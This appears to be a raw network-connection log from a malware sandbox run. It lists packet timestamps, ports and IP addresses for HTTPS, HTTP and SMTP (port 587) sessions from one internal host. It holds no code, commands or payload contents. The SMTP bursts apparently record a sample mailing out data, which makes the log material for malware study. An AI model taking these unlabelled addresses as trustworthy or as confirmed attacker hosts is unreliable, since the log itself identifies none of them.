Sep 27, 2024 10:39:13.307559013 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.308012009 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.308027029 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.308073997 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.308080912 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.308114052 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.308371067 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.308384895 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.308424950 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.308433056 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.308455944 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.308466911 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.309308052 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.309320927 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.309370041 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.309376955 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.309411049 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.310303926 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.310317993 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.310360909 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.310369015 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.310401917 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.339905024 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.339921951 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.339982986 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.340014935 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.340046883 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.340059042 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.340081930 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.384366989 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.399728060 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.399753094 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.399818897 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.399892092 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.399893999 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.399908066 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.399975061 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.400532961 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.400553942 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.400628090 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.400636911 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.400844097 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.400862932 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.400896072 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.400902987 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.400924921 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.401572943 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.401587009 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.401618958 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.401628017 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.401638985 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.402760983 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.402780056 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.402806997 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.402813911 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.402834892 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.432204962 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.432228088 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.432348013 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.432359934 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.432692051 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.432710886 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.432756901 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.432765007 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.432776928 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.478108883 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.492238045 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.492264032 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.492332935 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.492345095 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.492392063 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.492418051 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.492433071 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.492492914 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.492501020 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.492539883 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.492930889 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.492947102 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.492985964 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.492991924 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.493036985 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.493036985 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.493267059 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.493282080 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.493321896 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.493329048 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.493354082 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.493391991 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.493949890 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.493968010 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.494009018 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.494014978 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.494040012 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.494050026 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.495338917 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.495358944 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.495454073 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.495460987 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.495502949 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.525060892 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.525088072 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.525152922 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.525154114 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.525166988 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.525192976 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.525228024 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.525273085 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.525279999 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.525322914 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.584755898 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.584778070 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.584863901 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.584878922 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.584944963 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.584985971 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.585004091 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.585038900 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.585046053 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.585072041 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.585093975 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.585438967 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.585454941 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.585510015 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.585519075 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.585553885 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.585691929 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.585707903 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.585745096 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.585752010 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.585778952 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.585791111 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.586385965 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.586401939 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.586441994 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.586447954 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.586469889 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.586482048 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.587654114 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.587668896 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.587729931 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.587740898 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.587780952 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.617985964 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.618002892 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.618057966 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.618100882 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.618119955 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.618132114 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.618205070 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.677797079 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.677824974 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.677874088 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.677887917 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.677937031 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.677953005 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.678071976 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.678087950 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.678122044 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.678129911 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.678150892 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.678168058 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.678972006 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.678992987 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.679027081 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.679035902 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.679052114 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.679074049 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.679582119 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.679589987 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.679662943 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.679670095 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.679707050 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.680377960 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.680396080 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.680425882 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.680433035 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.680455923 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.680471897 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.681618929 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.681633949 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.681670904 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.681678057 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.681699991 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.681719065 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.713861942 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.713880062 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.713927984 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.713937044 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.713994026 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.714138031 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.714152098 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.714194059 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.714202881 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.714240074 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.769747019 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.769773006 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.769819975 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.769927979 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.770004034 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.770004034 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.770004034 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.770037889 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.770188093 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.770243883 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.770256996 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.770277023 CEST	443	61245	176.99.3.36	192.168.2.6
Sep 27, 2024 10:39:13.770309925 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.770325899 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:13.917725086 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:14.877304077 CEST	61245	443	192.168.2.6	176.99.3.36
Sep 27, 2024 10:39:28.318377972 CEST	61253	443	192.168.2.6	172.67.74.152
Sep 27, 2024 10:39:28.318428993 CEST	443	61253	172.67.74.152	192.168.2.6
Sep 27, 2024 10:39:28.318511963 CEST	61253	443	192.168.2.6	172.67.74.152
Sep 27, 2024 10:39:28.324947119 CEST	61253	443	192.168.2.6	172.67.74.152
Sep 27, 2024 10:39:28.324971914 CEST	443	61253	172.67.74.152	192.168.2.6
Sep 27, 2024 10:39:28.790468931 CEST	443	61253	172.67.74.152	192.168.2.6
Sep 27, 2024 10:39:28.790664911 CEST	61253	443	192.168.2.6	172.67.74.152
Sep 27, 2024 10:39:28.973361015 CEST	61253	443	192.168.2.6	172.67.74.152
Sep 27, 2024 10:39:28.973407984 CEST	443	61253	172.67.74.152	192.168.2.6
Sep 27, 2024 10:39:28.973992109 CEST	443	61253	172.67.74.152	192.168.2.6
Sep 27, 2024 10:39:29.025325060 CEST	61253	443	192.168.2.6	172.67.74.152
Sep 27, 2024 10:39:29.473100901 CEST	61253	443	192.168.2.6	172.67.74.152
Sep 27, 2024 10:39:29.515407085 CEST	443	61253	172.67.74.152	192.168.2.6
Sep 27, 2024 10:39:29.579454899 CEST	443	61253	172.67.74.152	192.168.2.6
Sep 27, 2024 10:39:29.579529047 CEST	443	61253	172.67.74.152	192.168.2.6
Sep 27, 2024 10:39:29.579699993 CEST	61253	443	192.168.2.6	172.67.74.152
Sep 27, 2024 10:39:29.696343899 CEST	61253	443	192.168.2.6	172.67.74.152
Sep 27, 2024 10:39:29.709019899 CEST	61254	80	192.168.2.6	208.95.112.1
Sep 27, 2024 10:39:29.714349031 CEST	80	61254	208.95.112.1	192.168.2.6
Sep 27, 2024 10:39:29.714422941 CEST	61254	80	192.168.2.6	208.95.112.1
Sep 27, 2024 10:39:29.714550018 CEST	61254	80	192.168.2.6	208.95.112.1
Sep 27, 2024 10:39:29.719985008 CEST	80	61254	208.95.112.1	192.168.2.6
Sep 27, 2024 10:39:30.175986052 CEST	80	61254	208.95.112.1	192.168.2.6
Sep 27, 2024 10:39:30.228125095 CEST	61254	80	192.168.2.6	208.95.112.1
Sep 27, 2024 10:39:30.852664948 CEST	61254	80	192.168.2.6	208.95.112.1
Sep 27, 2024 10:39:30.858120918 CEST	80	61254	208.95.112.1	192.168.2.6
Sep 27, 2024 10:39:30.858215094 CEST	61254	80	192.168.2.6	208.95.112.1
Sep 27, 2024 10:39:31.171669006 CEST	61255	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:31.177118063 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:31.177242041 CEST	61255	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:31.863718033 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:31.869550943 CEST	61255	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:31.874593973 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:32.028579950 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:32.049669981 CEST	61255	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:32.054681063 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:32.205918074 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:32.208182096 CEST	61255	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:32.213023901 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:32.371865988 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:32.372162104 CEST	61255	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:32.378123999 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:32.529844046 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:32.534398079 CEST	61255	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:32.539354086 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:32.692858934 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:32.693131924 CEST	61255	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:32.698151112 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:32.853941917 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:32.854136944 CEST	61255	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:32.859549046 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:33.014722109 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:33.014929056 CEST	61255	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:33.020451069 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:33.191643000 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:33.192235947 CEST	61255	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:33.192277908 CEST	61255	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:33.192305088 CEST	61255	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:33.192322016 CEST	61255	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:33.197213888 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:33.197318077 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:33.197510958 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:33.468732119 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:33.509339094 CEST	61255	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:33.527435064 CEST	61255	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:33.532481909 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:33.684020042 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:33.684199095 CEST	61255	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:33.685208082 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:33.689428091 CEST	587	61255	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:33.689537048 CEST	61255	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:33.690287113 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:33.690368891 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:34.285824060 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:34.288938999 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:34.293859005 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:34.448801994 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:34.480710030 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:34.485702038 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:34.639841080 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:34.653814077 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:34.658788919 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:34.815177917 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:34.815320969 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:34.821995974 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:34.976739883 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:34.976938009 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:34.982007027 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:35.136542082 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:35.136774063 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:35.141783953 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:35.297631025 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:35.297821045 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:35.303651094 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:35.460177898 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:35.460342884 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:35.465225935 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:35.638395071 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:35.639648914 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:35.639718056 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:35.639759064 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:35.639796019 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:35.639831066 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:35.639918089 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:35.639965057 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:35.640039921 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:35.640079975 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:35.640088081 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:35.647453070 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:35.650254011 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:35.650264978 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:35.650274038 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:36.055511951 CEST	587	60905	208.91.198.176	192.168.2.6
Sep 27, 2024 10:39:36.103112936 CEST	60905	587	192.168.2.6	208.91.198.176
Sep 27, 2024 10:39:45.757827044 CEST	60910	443	192.168.2.6	104.26.13.205
Sep 27, 2024 10:39:45.757853985 CEST	443	60910	104.26.13.205	192.168.2.6
Sep 27, 2024 10:39:45.757910967 CEST	60910	443	192.168.2.6	104.26.13.205
Sep 27, 2024 10:39:45.761814117 CEST	60910	443	192.168.2.6	104.26.13.205
Sep 27, 2024 10:39:45.761828899 CEST	443	60910	104.26.13.205	192.168.2.6
Sep 27, 2024 10:39:46.219613075 CEST	443	60910	104.26.13.205	192.168.2.6
Sep 27, 2024 10:39:46.219702005 CEST	60910	443	192.168.2.6	104.26.13.205
Sep 27, 2024 10:39:46.221571922 CEST	60910	443	192.168.2.6	104.26.13.205
Sep 27, 2024 10:39:46.221589088 CEST	443	60910	104.26.13.205	192.168.2.6
